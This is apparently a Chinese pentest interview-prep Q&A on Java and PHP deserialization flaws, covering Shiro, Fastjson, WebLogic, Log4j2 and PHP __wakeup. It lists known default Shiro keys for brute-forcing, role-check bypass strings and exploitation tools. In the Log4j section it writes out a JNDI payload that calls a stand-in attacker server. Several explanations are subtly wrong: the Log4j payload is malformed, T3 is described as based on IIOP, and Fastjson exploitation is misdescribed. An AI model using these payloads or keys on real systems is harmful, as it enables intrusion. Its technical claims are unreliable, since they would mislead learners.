渗透测试面经 Part02
反序列化漏洞
反序列化漏洞有了解吗?
通过序列化与反序列化我们可以很方便的进行对象的传递,本质上反序列化是没有危害的,但是如果用户对数据可控那就可以利用反序列化构造有效载荷攻击。反序列化是否存在危害的关键在于传输的数据可控或不可控。
反序列化导致命令执行的原理,以个人理解方式说一下?
反序列化是将序列化的数据重新还原成原始对象的过程。在某些情况下,攻击者可以构造恶意的序列化数据,通过反序列化攻击将其还原成对象,从而导致代码执行攻击。
反序列化导致命令执行的原理是:攻击者构造一个恶意的序列化数据,并将其发送给目标应用程序。目标应用程序在接收到数据后,使用反序列化操作将数据还原为对象。由于攻击者构造的数据中包含恶意的代码,因此在反序列化时,恶意代码会被执行,从而导致命令执行漏洞。
例如,假设一个应用程序接收到一个序列化的Java对象,并使用Java反序列化操作将其还原为Java对象。攻击者可以构造一个包含恶意代码的Java对象,例如通过在Java对象中包含可以执行命令的代码。当应用程序执行反序列化操作时,恶意代码就会被执行,从而导致命令执行漏洞。
如何防范反序列化漏洞
- 验证反序列化数据:应用程序应该验证反序列化数据的来源,以确保它来自可信的源。
- 限制反序列化:应用程序应该限制可以反序列化的对象类型,以减少恶意代码的攻击面。
- 对反序列化数据进行审计:应用程序应该记录反序列化操作,以便在发现攻击时进行审计和调查。
- 使用安全的序列化库:使用已知安全的序列化库,可以减少反序列化攻击的风险。
有复现过哪些反序列化漏洞?
自由发挥,挑自己熟悉的讲
shiro 反序列化、fastjson 反序列化、weblogic 反序列化
JNDI注入原理说一下
JNDI(Java Naming and Directory Interface)注入是一种常见的Web应用程序攻击技术,它利用JNDI技术中的漏洞,将恶意的JNDI引用插入到受害应用程序中,从而实现远程代码执行等攻击。
JNDI是Java平台提供的一套API,它提供了一种机制,使得Java应用程序能够以统一的方式访问不同的命名和目录服务。这些服务可以是本地的,也可以是远程的,比如JNDI可以用于访问LDAP、RMI等服务。
攻击者可以利用JNDI的动态链接机制,将恶意的JNDI引用插入到受害应用程序中。当应用程序调用该JNDI引用时,JNDI服务会将引用转化为一个可执行的Java代码段,并执行该代码段。由于JNDI可以调用本地和远程服务,因此攻击者可以通过构造特定的JNDI引用,来执行恶意代码或访问本地或远程资源。
一般来说,JNDI注入漏洞的利用方式包括以下几个步骤:
- 构造恶意的JNDI引用,将其插入到受害应用程序中。
- 触发应用程序调用恶意的JNDI引用,使JNDI服务执行恶意代码或访问资源。
- 攻击者通过恶意代码或访问的资源,实现远程代码执行、敏感信息泄露、权限提升等攻击。
为了防止JNDI注入漏洞,应用程序开发者可以采取一些措施,例如:对用户输入数据进行严格的过滤和验证,限制应用程序的访问权限,限制应用程序的JNDI访问等。
shiro 反序列化漏洞
shiro反序列化漏洞原理
Java 反序列化漏洞是一种安全漏洞,攻击者可以通过构造恶意的序列化数据,在反序列化时执行任意代码,从而导致系统被攻击。
- shiro-550 漏洞利用了 Shiro 的 RememberMe 功能,攻击者可以在 RememberMe cookie 中注入恶意的序列化数据,当用户再次登录时,Shiro 会反序列化这个数据并执行其中的恶意代码,从而导致系统被攻击。
- shiro-721 漏洞同样是利用了 Shiro 的 RememberMe 功能,但是攻击者利用的是 Java 反序列化中的漏洞,构造了恶意的序列化数据,当用户再次登录时,Shiro 会反序列化这个数据并执行其中的恶意代码,同样导致系统被攻击。
为了避免反序列化漏洞,开发人员应该使用安全的序列化方式,例如 JSON,而不是 Java 的默认序列化方式。此外,也应该对反序列化的数据进行验证和过滤,以确保其中不包含恶意代码。
shiro反序列化一般怎么挖掘
一般情况下,shiro 反序列化漏洞的挖掘可以从以下几个方面入手:
- 查看项目中是否使用了 Shiro 框架,并了解其相关功能和用法。
- 对 Shiro 的 RememberMe 功能进行深入了解,查看相关代码和文档,尝试理解其实现原理。
- 了解 Java 反序列化漏洞的基本原理和攻击方法,以及常见的反序列化库和类。
- 对 Shiro 的 RememberMe 功能进行测试,尝试构造恶意的序列化数据,并观察其对应的反序列化操作是否会执行恶意代码。
- 检查项目代码中是否存在可以触发 RememberMe 功能的入口,例如登录功能等。
- 检查项目的依赖库,查看是否存在已知的反序列化漏洞,例如 Commons Collections 库。
- 在漏洞挖掘中使用常见的工具和技术,例如 Burp Suite、ysoserial、Java 反编译器等。
需要注意的是,反序列化漏洞的挖掘需要一定的技术功底和经验,建议在进行挖掘之前先进行充分的学习和准备。
shiro的权限绕过如何挖掘,说一下测试过程
一些 Shiro 版本中存在权限绕过漏洞,攻击者可以利用该漏洞绕过应用程序中的权限限制,从而进行未经授权的操作。下面是一些常见的 Shiro 权限绕过漏洞的挖掘方法和测试过程:
-
观察 Shiro 的配置文件和代码,了解其授权逻辑和实现方式。特别是要关注 Shiro 配置文件中的“roles”和“permissions”配置,以及在代码中使用的相关权限校验逻辑。
-
构造合适的请求参数,尝试在请求中携带恶意数据,例如伪造认证信息、角色和权限信息等,然后观察应用程序的响应和行为变化。
-
尝试在请求中使用多个角色或权限,观察其对应的操作是否都能被正常执行。如果存在权限绕过漏洞,攻击者可以利用多个角色或权限之间的互动关系来绕过权限限制。
-
尝试在请求中使用通配符(*)等特殊字符,观察其对应的操作是否都能被正常执行。如果存在权限绕过漏洞,攻击者可以利用通配符等特殊字符来绕过权限限制。
-
尝试在请求中使用 Shiro 中未定义的权限信息,例如伪造权限名称或操作名称等,观察其对应的操作是否都能被正常执行。如果存在权限绕过漏洞,攻击者可以利用未定义的权限信息来绕过权限限制。
举个例子,比如在 Shiro 中定义了一个角色 admin
,并对一些敏感操作进行了限制。攻击者可以尝试使用 admin
、admin\t
或者 admin%20
等方式来绕过角色检查,因为 Shiro 在检查角色时会将这些字符视为合法角色名,并进行匹配。攻击者可以构造恶意请求,在请求参数中携带这些绕过字符,从而绕过角色检查,进行未经授权的操作。
shiro反序列化一般使用哪些工具打
ysoserial:这是一个开源的 Java 反序列化漏洞利用工具,可以生成不同类型的恶意序列化数据。使用 ysoserial 可以快速构造恶意数据并进行测试。
Burp Suite:可以用于拦截和修改 HTTP 请求,从而测试 Shiro 反序列化漏洞。可以使用 Burp Suite 的 Intruder 功能构造恶意请求并进行测试。
ShiroExploit:这是一个专门针对 Shiro 反序列化漏洞的测试工具,可以自动化进行漏洞检测和利用。使用 ShiroExploit 可以快速进行批量测试和利用。
Java 反编译器:可以将 Java 字节码反编译成 Java 源代码的工具,可以帮助分析恶意序列化数据的执行逻辑,从而更好地理解漏洞的利用方式。
shiro如果有key没有利用链怎么办
分析代码逻辑:可以对目标系统的代码进行逆向分析,了解 Shiro key 的生成和使用方式,从而寻找潜在的漏洞利用点,如反射、动态代理等,尝试构造新的利用链(如 CB1 链,参考:https://www.cnblogs.com/gk0d/p/16889963.html )
Shiro CommonsBeanutils1 链进行无依赖构造攻击,可以通过以下步骤实现:
- 构造一个 Shiro CommonsBeanutils1 的利用链,该链的作用是调用 Runtime.exec() 方法执行系统命令。具体的链可以参考公开的 Shiro CommonsBeanutils1 链库,或者使用 ysoserial 工具生成。
- 对于无法直接触发 Shiro 反序列化漏洞的情况,可以将构造的 Shiro CommonsBeanutils1 利用链序列化后,作为参数传递到目标系统中的另一个可序列化对象中。
- 触发目标系统反序列化该可序列化对象时,就会间接地触发 Shiro CommonsBeanutils1 链,从而执行恶意代码。
需要注意的是,由于该攻击是无依赖构造的,因此不需要知道目标系统上的 Shiro 版本,但是需要知道目标系统上存在的可序列化对象,并且需要构造出一个合法的可序列化对象,以便将 Shiro CommonsBeanutils1 链传递到目标系统中。
该攻击方式的防御措施包括升级 Shiro 版本,或者禁止传递不受信任的可序列化对象到系统中。
一个网站如果识别出来了是shiro框架,但是没有key,如何去找key
- 通过源代码寻找:在目标网站的源代码中搜索 Shiro 相关的配置文件,如 shiro.ini、shiro.xml、shiro.properties 等,查找是否存在 Shiro key。
- 通过反编译寻找:如果无法通过源代码找到,可以通过反编译目标系统的代码,寻找 Shiro key 的生成方式,例如通过搜索 DefaultSecurityManager 类中的初始化代码等。
- 使用字典暴破:可以使用常用的 Shiro key 值构造字典,如
kPH+bIxk5D2deZiIxcaaaA==
、4AvVhmFLUs0KTA3Kprsdag==
等,或者使用自己工作中收集的 key 整理成字典,通过字典进行暴破寻找目标系统的 Shiro key。 - 利用已知的漏洞:如果已经公开了针对目标系统所使用的 Shiro 版本的反序列化漏洞,可以尝试使用该漏洞来获取 Shiro key。
WebLogic 反序列化漏洞
WebLogic 反序列化了解吗?
攻击者会构造一个恶意的 Java 对象序列化数据,其中包含可执行代码,然后将这个数据提交给 WebLogic 服务器处理。WebLogic 在接收到请求后,会尝试将序列化数据还原为 Java 对象,并在过程中执行恶意代码。由于反序列化过程中无法保证反序列化的数据是可信的,因此攻击者可以通过构造恶意数据,绕过 WebLogic 的安全机制,成功执行攻击代码。
那有了解 IIOP 吗?
首先讲讲 WebLogic 与 IIOP 之间的关系:在 WebLogic 中,存在一种称为 T3 协议的远程通信协议,它是基于 IIOP 的协议,被用于 WebLogic Server 与其它组件之间的通信。
具体来说,WebLogic Server 通过 T3 协议接收客户端请求,并使用 IIOP 进行消息的序列化和反序列化。攻击者可以构造恶意的序列化数据,通过 T3 协议发送给 WebLogic Server,如果 WebLogic Server 解析该数据时存在漏洞,则会触发反序列化漏洞,导致攻击成功。因此,WebLogic 反序列化漏洞与 IIOP 是密切相关的。
此外,还有一种称为 JMS(Java Message Service)的消息传递协议,它也使用了 IIOP 进行消息传输。同样地,如果存在 JMS 相关的反序列化漏洞,攻击者同样可以通过构造恶意数据,利用 IIOP 进行攻击。
综上所述,IIOP 在 WebLogic 中扮演着重要的角色,因为它被用于 T3 协议和 JMS 协议的消息传输。但同时,也正是因为 IIOP 可以传输序列化数据,而且 WebLogic 存在反序列化漏洞,所以 IIOP 也成为了攻击者进行 WebLogic 反序列化漏洞攻击的一个入口。
Fastjson 反序列化漏洞
fastjson反序列化漏洞原理
Fastjson 反序列化漏洞是一种 Java 应用程序中的安全漏洞,攻击者可以利用此漏洞通过构造恶意 JSON 数据来执行任意代码。Fastjson 是一种用于处理 JSON 格式数据的 Java 库,广泛应用于 Java Web 应用程序中。
Fastjson 反序列化漏洞是由于 Fastjson 库在反序列化 JSON 数据时存在缺陷,攻击者可以利用这些缺陷构造特定的 JSON 数据来触发漏洞。攻击者可以通过构造恶意 JSON 数据中的特定字段或属性,使 Fastjson 在反序列化时调用攻击者指定的恶意代码。
攻击者可以通过各种方式构造恶意 JSON 数据,例如使用反射来动态生成代码、使用 JavaScript 中的特殊字符来绕过过滤、使用 Java 序列化中的漏洞等。如果攻击者成功利用 Fastjson 反序列化漏洞,就可以在受害者的应用程序中执行任意代码,例如窃取数据、篡改数据、执行操作系统命令等。
fastjson漏洞利用原理
构造一个恶意的 JSON 字符串,其中包含可执行代码,并将其传递给 Fastjson 的反序列化方法,使其执行可执行代码。具体来说,攻击者构造的 JSON 字符串中的 @type
属性值包含了一个 Java 类的完整类名,而 params
属性值中包含了要执行的方法名和参数,其中参数是经过 Base64 编码后的字符串,攻击者可以在这个字符串中嵌入任意的 Java 代码。Fastjson 反序列化时会根据 @type
属性值创建对应的 Java 类实例,并调用指定的方法,而方法的参数则从 params
属性值中获取并解码,从而导致执行了攻击者构造的恶意代码。
如何防范 Fastjson 反序列化漏洞
为了避免 Fastjson 反序列化漏洞,开发人员应该注意以下几点:
- 不要信任来自未受信任来源的 JSON 数据。
- 不要直接将 JSON 数据反序列化为 Java 对象,而是应该使用类型转换或反序列化器进行反序列化。
- 升级 Fastjson 库到最新版本,因为新版本通常会修复已知的漏洞。
- 对于敏感数据,应该进行加密或签名以确保数据的完整性和机密性。
log4j2漏洞 CVE-2021-44228
log4j2漏洞原理
漏洞的原因是Log4j2在处理日志消息时,如果消息内容中包含JNDI(Java Naming and Directory Interface)引用,它会自动解析JNDI引用并将其加载,而攻击者可以通过构造恶意的JNDI引用来实现远程代码执行。
log4j2漏洞利用方式
攻击者可以使用不同的利用方式来利用该漏洞,其中一种常见的利用方式是:
- 构造恶意的JNDI引用并将其放置在HTTP请求的头部或参数中,发送到受影响的应用程序。
- 受影响的应用程序使用Log4j2来记录请求中的信息时,Log4j2会解析恶意的JNDI引用,导致攻击者可以在目标系统上执行任意的命令或代码。
具体利用方式:
- 构造恶意的JNDI引用,可以使用如下的恶意代码:
ldap://attacker_server:1389/${jndi:ldap://victim_server:1389/Exploit}
其中,attacker_server是攻击者控制的远程服务器地址,victim_server是受害服务器地址,Exploit是远程执行的命令或代码,攻击者可以将其替换为自己的恶意代码。
-
将恶意的JNDI引用放置在HTTP请求的头部或参数中,例如可以将其放置在 User-Agent、Referer、Cookie等 HTTP 头部中。
-
向目标服务器发送构造好的恶意HTTP请求,如果服务器上运行了使用受影响版本的Log4j2应用程序,则Log4j2会解析恶意的JNDI引用,从而触发漏洞,执行攻击者构造的远程命令或代码。
如果拿到了heapdump文件你如何利用,用哪个工具
Heapdump 文件是 JVM 运行时环境中 Java 堆的快照,可以用于分析 Java 程序的内存使用情况,找出内存泄漏等问题。
常用的分析工具包括:
- Eclipse Memory Analyzer (MAT):MAT 是一款免费、开源的 Java 堆分析工具,可以分析 heapdump 文件并提供交互式的可视化分析报告。
- VisualVM:VisualVM 是一款可视化的多合一性能分析工具,可以监控 CPU、堆、GC、线程等多个方面,同时也可以加载 heapdump 文件进行分析。
- jhat:jhat 是 JDK 自带的一款堆转储分析工具,可以将 heapdump 文件转换为 HTML 格式的分析报告,然后在浏览器中查看。
使用这些工具,你可以通过分析 heapdump 文件,了解 Java 应用程序的内存使用情况、对象的生命周期、引用关系等,进而定位内存泄漏、内存占用高等问题。
PHP 反序列化漏洞
PHP 反序列化漏洞是一种常见的安全漏洞,攻击者利用该漏洞可以在未授权的情况下执行任意代码。该漏洞通常出现在将未经验证的用户输入作为序列化数据传递给 unserialize()
函数时。
攻击者可以构造恶意的序列化数据,使得在反序列化时执行任意代码。这可能导致系统被完全接管,包括读取、写入和删除文件,以及对数据库和其他系统资源的访问。
为了防止此类攻击,开发人员应该对用户输入进行严格的验证和过滤,并在反序列化之前对其进行检查。此外,可以通过使用安全的序列化库或实现安全的自定义序列化方法来降低风险。
讲讲 PHP 魔术方法中的 __wakeup(结合反序列化漏洞)
在 PHP 中,当一个对象被反序列化时,会自动调用对象的 __wakeup
魔术方法。这个方法通常用于反序列化后对对象进行必要的初始化操作,以确保对象在序列化和反序列化过程中的状态一致性。
然而,由于反序列化漏洞的存在,攻击者可以通过精心构造的序列化数据来执行恶意代码,包括调用 __wakeup
方法来执行额外的恶意操作。具体来说,攻击者可以通过在序列化数据中包含可执行的 PHP 代码,并在 __wakeup
方法中执行该代码来实现攻击。
以下是一个简单的示例,演示如何利用 __wakeup
方法进行反序列化攻击:
<?php
class User {
public $username;
public $password;
public function __wakeup() {
if ($this->username === 'admin') {
// 模拟恶意操作
echo "执行恶意操作!";
}
}
}
// 模拟从外部读取到的序列化数据
$data = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:10:"1234567890";}';
// 反序列化对象
$user = unserialize($data);
// 在对象被反序列化时,__wakeup 方法会被自动调用
?>
在上面的示例中,User
类包含一个 __wakeup
方法,该方法检查当前用户的用户名是否为 "admin",如果是,就会执行模拟的恶意操作。然后,我们创建一个包含恶意序列化数据的字符串,并将其传递给 unserialize
函数进行反序列化。由于该序列化数据中的用户名为 "admin",因此在对象被反序列化时,__wakeup
方法会被自动调用,从而执行模拟的恶意操作。